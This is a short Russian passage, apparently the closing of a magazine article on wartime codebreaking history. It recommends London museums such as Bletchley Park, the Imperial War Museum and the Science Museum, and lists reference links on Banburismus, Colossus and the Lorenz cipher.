Ес ли  соберешь ся  посетить  Лон дон,  то  в  допол нение  к  Блет чли‐пар ку  я
рекомен дую  еще  два  музея.  Начать  луч ше  все го  с  блес тяще  сде лан ного
воен ного музея  ( ),  а  закон чить — музе ем науки. Вот  уж
где рос кошная кол лекция компь юте ров всех вре мен. Есть даже машина Бэб‐ 
биджа... да что там, есть даже мозг Бэб биджа в стек лянной бан ке!

Imperial War Museum

https://www.youtube.com/watch?v=OdZ0tXRaPCw
https://ru.wikipedia.org/wiki/Banburismus
https://xakep.ru/2017/06/07/www-virtual-lorenz/
https://ru.wikipedia.org/wiki/Colossus_(%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80)
https://en.wikipedia.org/wiki/Imperial_War_Museum
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